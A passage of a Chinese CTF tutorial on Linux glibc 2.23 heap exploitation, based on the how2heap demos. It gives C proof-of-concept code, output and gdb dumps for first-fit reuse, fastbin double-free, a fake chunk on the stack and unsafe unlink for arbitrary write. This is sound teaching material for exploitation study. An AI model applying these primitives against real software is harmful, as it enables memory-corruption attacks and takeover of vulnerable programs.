CTF-All-In-One/doc/3.3.6_heap_exploit_1.md
firmianay 1adf6b7e37 emmm
2018-03-18 16:45:52 +08:00

43 KiB
Raw Blame History

3.3.6 Linux 堆利用(上)

Linux 堆简介

堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2在 glibc 中实现。

更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。

how2heap

how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境glibc 版本如下:

$ file /lib/x86_64-linux-gnu/libc-2.23.so 
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
$ git clone https://github.com/shellphish/how2heap.git
$ cd how2heap
$ make

请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 CFLAGS += -fsanitize=address 可以检测内存错误。下载文件

first_fit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char* a = malloc(512);
    char* b = malloc(256);
    char* c;

    fprintf(stderr, "1st malloc(512): %p\n", a);
    fprintf(stderr, "2nd malloc(256): %p\n", b);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    fprintf(stderr, "first allocation %p points to %s\n", a, a);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    c = malloc(500);
    fprintf(stderr, "3rd malloc(500): %p\n", c);
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
    fprintf(stderr, "first allocation %p points to %s\n", a, a);
}
$ gcc -g first_fit.c
$ ./a.out 
1st malloc(512): 0x1380010
2nd malloc(256): 0x1380220
first allocation 0x1380010 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x1380010
3rd allocation 0x1380010 points to CCCCCCCC
first allocation 0x1380010 points to CCCCCCCC

这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时malloc 会先到 unsorted bin或者fastbins 中查找适合的被 free 的 chunk如果没有就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk并把它重新分配。

在 gdb 中调试,两个 malloc 之后chunk 位于 malloc 返回地址减去 0x10 的位置):

gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk a
0x602010:	0x4141414141414141	0x0000000000000000
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000000	0x0000000000000111 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000

第一个 free 之后,将其加入到 unsorted bin 中:

gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk a [be freed]
0x602010:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd pointer, bk pointer
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000210	0x0000000000000110 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.

第三个 malloc 之后:

gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk c
0x602010:	0x4343434343434343	0x00007ffff7dd1d00
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000210	0x0000000000000111 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000

所以当释放一块内存后再申请一块大小略小于的空间,那么 glibc 倾向于将先前被释放的空间重新分配。

好了,现在我们加上内存检测参数重新编译:

$ gcc -fsanitize=address -g first_fit.c 
$ ./a.out 
1st malloc(512): 0x61500000fd00
2nd malloc(256): 0x611000009f00
first allocation 0x61500000fd00 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x61500000fa80
3rd allocation 0x61500000fa80 points to CCCCCCCC
=================================================================
==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58
READ of size 2 at 0x61500000fd00 thread T0
    #0 0x7f49d14a61e8  (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
    #1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
    #2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
    #3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23
    #4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)

0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
freed by thread T0 here:
    #0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17
    #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400957 in main /home/firmy/how2heap/first_fit.c:6
    #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。

fastbin_dup

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    fprintf(stderr, "Allocating 3 buffers.\n");
    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);

    fprintf(stderr, "Freeing the first one %p.\n", a);
    free(a);
    fprintf(stderr, "Then freeing another one %p.\n", b);
    free(b);
    fprintf(stderr, "Freeing the first one %p again.\n", a);
    free(a);

    fprintf(stderr, "Allocating 3 buffers.\n");
    char *d = malloc(9);
    char *e = malloc(9);
    char *f = malloc(9);
    strcpy(d, "DDDDDDDD");
    fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}
$ gcc -g fastbin_dup.c 
$ ./a.out 
Allocating 3 buffers.
1st malloc(9) 0x1c07010 points to AAAAAAAA
2nd malloc(9) 0x1c07030 points to BBBBBBBB
3rd malloc(9) 0x1c07050 points to CCCCCCCC
Freeing the first one 0x1c07010.
Then freeing another one 0x1c07030.
Freeing the first one 0x1c07010 again.
Allocating 3 buffers.
4st malloc(9) 0x1c07010 points to DDDDDDDD the first time
5nd malloc(9) 0x1c07030 points to EEEEEEEE
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time

这个程序展示了利用 fastbins 的 double-free 攻击可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。

libc-2.23 中对 double-free 的检查过程如下:

    /* Check that the top of the bin is not the record we are going to add
       (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
      }

三个 malloc 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a
0x602010:	0x4141414141414141	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b
0x602030:	0x4242424242424242	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1 <-- top chunk
0x602070:	0x0000000000000000

第一个 free 之后chunk a 被添加到 fastbins 中:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed]
0x602010:	0x0000000000000000	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b
0x602030:	0x4242424242424242	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)

第二个 free 之后chunk b 被添加到 fastbins 中:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed]
0x602010:	0x0000000000000000	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)

第三个 free 之后chunk a 再次被添加到 fastbins 中:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed again]
0x602010:	0x0000000000602020	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  →  [loop detected]

再三个 malloc 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk d, chunk f
0x602010:	0x4646464646464646	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk e
0x602030:	0x4545454545454545	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000

所以对于 fastbins可以通过 double-free 泄漏出一个堆块的指针。

加上内存检测参数重新编译:

$ gcc -fsanitize=address -g fastbin_dup.c
$ ./a.out 
Allocating 3 buffers.
1st malloc(9) 0x60200000eff0 points to AAAAAAAA
2nd malloc(9) 0x60200000efd0 points to BBBBBBBB
3rd malloc(9) 0x60200000efb0 points to CCCCCCCC
Freeing the first one 0x60200000eff0.
Then freeing another one 0x60200000efd0.
Freeing the first one 0x60200000eff0 again.
=================================================================
==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:
    #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22
    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)

0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)
freed by thread T0 here:
    #0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18
    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7
    #2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。

fastbin_dup_into_stack

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    unsigned long long stack_var = 0x21;
    fprintf(stderr, "Allocating 3 buffers.\n");
    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);

    fprintf(stderr, "Freeing the first one %p.\n", a);
    free(a);
    fprintf(stderr, "Then freeing another one %p.\n", b);
    free(b);
    fprintf(stderr, "Freeing the first one %p again.\n", a);
    free(a);

    fprintf(stderr, "Allocating 4 buffers.\n");
    unsigned long long *d = malloc(9);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
    char *e = malloc(9);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
    char *f = malloc(9);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
    char *g = malloc(9);
    strcpy(g, "GGGGGGGG");
    fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
}
$ gcc -g fastbin_dup_into_stack.c 
$ ./a.out 
Allocating 3 buffers.
1st malloc(9) 0xcf2010 points to AAAAAAAA
2nd malloc(9) 0xcf2030 points to BBBBBBBB
3rd malloc(9) 0xcf2050 points to CCCCCCCC
Freeing the first one 0xcf2010.
Then freeing another one 0xcf2030.
Freeing the first one 0xcf2010 again.
Allocating 4 buffers.
4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
5nd malloc(9) 0xcf2030 points to EEEEEEEE
6rd malloc(9) 0xcf2010 points to FFFFFFFF
7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG

这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样漏洞也同样是 double-free只有给 fd 填充的内容不一样。

三个 malloc 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a
0x602010:	0x4141414141414141	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b
0x602030:	0x4242424242424242	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1 <-- top chunk
0x602070:	0x0000000000000000

三个 free 之后:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk a [be freed twice]
0x602010:	0x0000000000602020	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  →  [loop detected]

这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8从而在栈上伪造出一个 free 的 chunk当然也可以是其他的地址

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021 <-- chunk d
0x602010:	0x00007fffffffdc30	0x0000000000000000      <-- fd pointer
0x602020:	0x0000000000000000	0x0000000000000021 <-- chunk b [be freed]
0x602030:	0x0000000000602000	0x0000000000000000      <-- fd pointer
0x602040:	0x0000000000000000	0x0000000000000021 <-- chunk c
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  p &stack_var 
$4 = (unsigned long long *) 0x7fffffffdc38
gef➤  x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30:	0x0000000000000000	0x0000000000000021 <-- fake chunk [seems to be freed]
0x7fffffffdc40:	0x0000000000602010	0x0000000000602010      <-- fd pointer
0x7fffffffdc50:	0x0000000000602030
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]

可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部:

gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021
0x602010:	0x4646464646464646	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000021
0x602030:	0x4545454545454545	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000021
0x602050:	0x4343434343434343	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000020fa1
0x602070:	0x0000000000000000
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index]

再次 malloc即可在 fake chunk 处分配内存:

gef➤  x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30:	0x0000000000000000	0x0000000000000021 <-- fake chunk 
0x7fffffffdc40:	0x4747474747474747	0x0000000000602000
0x7fffffffdc50:	0x0000000000602030

所以对于 fastbins可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

uint64_t *chunk0_ptr;

int main() {
    int malloc_size = 0x80; // not fastbins
    int header_size = 2;

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    // pass this check: (P->fd->bk != P || P->bk->fd != P) == False
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
    // pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
    // chunk0_ptr[1] = 0x0; // or 0x8, 0x80

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;

    // deal with tcache
    // int *a[10];
    // int i;
    // for (i = 0; i < 7; i++) {
    // 	a[i] = malloc(0x80);
    // }
    // for (i = 0; i < 7; i++) {
    // 	free(a[i]);
    // }
    free(chunk1_ptr);

    char victim_string[9];
    strcpy(victim_string, "AAAAAAAA");
    chunk0_ptr[3] = (uint64_t) victim_string;
    fprintf(stderr, "Original value: %s\n", victim_string);

    chunk0_ptr[0] = 0x4242424242424242LL;
    fprintf(stderr, "New Value: %s\n", victim_string);
}
$ gcc -g unsafe_unlink.c 
$ ./a.out 
The global chunk0_ptr is at 0x601070, pointing to 0x721010
The victim chunk we are going to corrupt is at 0x7210a0

Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAA
New Value: BBBBBBBB

这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。

Ubuntu16.04 使用 libc-2.23,其中 unlink 实现的代码如下,其中有一些对前后堆块的检查,也是我们需要绕过的:

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

malloc_size 设置为 0x80可以分配 small chunk然后定义 header_size 为 2。申请两块空间全局指针 chunk0_ptr 指向 chunk0局部指针 chunk1_ptr 指向 chunk1

gef➤  p &chunk0_ptr 
$1 = (uint64_t **) 0x601070 <chunk0_ptr>
gef➤  x/gx &chunk0_ptr 
0x601070 <chunk0_ptr>:	0x0000000000602010
gef➤  p &chunk1_ptr 
$2 = (uint64_t **) 0x7fffffffdc60
gef➤  x/gx &chunk1_ptr 
0x7fffffffdc60:	0x00000000006020a0
gef➤  x/40gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000091  <-- chunk 1
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1  <-- top chunk
0x602130:	0x0000000000000000	0x0000000000000000

接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False 的检查,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 chunk0_ptr 构造 fake chunk 来绕过它:

gef➤  x/40gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x602010:	0x0000000000000000	0x0000000000000000  <-- fake chunk P
0x602020:	0x0000000000601058	0x0000000000601060      <-- fd, bk pointer
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000080	0x0000000000000090  <-- chunk 1 <-- prev_size
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1  <-- top chunk
0x602130:	0x0000000000000000	0x0000000000000000
gef➤  x/5gx 0x601058
0x601058:	0x0000000000000000	0x00007ffff7dd2540  <-- fake chunk
0x601068:	0x0000000000000000	0x0000000000602010      <-- bk pointer
0x601078:	0x0000000000000000
gef➤  x/5gx 0x601060
0x601060:	0x00007ffff7dd2540	0x0000000000000000  <-- fake chunk
0x601070:	0x0000000000602010	0x0000000000000000      <-- fd pointer
0x601080:	0x0000000000000000

可以看到,我们在 chunk0 里构造一个 fake chunk用 P 表示,两个指针 fd 和 bk 可以构成两条链:P->fd->bk == PP->bk->fd == P,可以绕过检查。另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0将 fake chunk 伪造成一个 free chunk。

接下来就是释放掉 chunk1这会触发 fake chunk 的 unlink 并覆盖 chunk0_ptr 的值。unlink 操作是这样进行的:

FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD

再说简单一点,由于这时候 P->fd->bk 和 P->bk->fd 都指向 P所以最后的结果为

chunk0_ptr = P = P->fd

成功地修改了 chunk0_ptr这时 chunk0_ptrchunk0_ptr[3] 实际上就是同一东西:

gef➤  x/40gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 0
0x602010:	0x0000000000000000	0x0000000000020ff1  <-- fake chunk P
0x602020:	0x0000000000601058	0x0000000000601060      <-- fd, bk pointer
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000080	0x0000000000000090  <-- chunk 1 [be freed]
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1  <-- top chunk
0x602130:	0x0000000000000000	0x0000000000000000
gef➤  x/5gx 0x601058
0x601058:	0x0000000000000000	0x00007ffff7dd2540  <-- fake chunk
0x601068:	0x0000000000000000	0x0000000000601058      <-- bk pointer
0x601078:	0x0000000000000000
gef➤  x/5gx 0x601060
0x601060:	0x00007ffff7dd2540	0x0000000000000000  <-- fake chunk
0x601070:	0x0000000000601058	0x0000000000000000      <-- fd pointer
0x601080:	0x0000000000000000
gef➤  x/gx chunk0_ptr 
0x601058:	0x0000000000000000
gef➤  x/gx chunk0_ptr[3]
0x601058:	0x0000000000000000

所以,修改 chunk0_ptr[3] 就等于修改 chunk0_ptr

gef➤  x/5gx 0x601058
0x601058:	0x0000000000000000	0x00007ffff7dd2540
0x601068:	0x0000000000000000	0x00007fffffffdc70  <-- chunk0_ptr[3]
0x601078:	0x0000000000000000
gef➤  x/gx chunk0_ptr 
0x7fffffffdc70:	0x4141414141414141

这时 chunk0_ptr 就指向了 victim_string修改它

gef➤  x/gx chunk0_ptr 
0x7fffffffdc70:	0x4242424242424242

成功达成修改任意地址的成就。

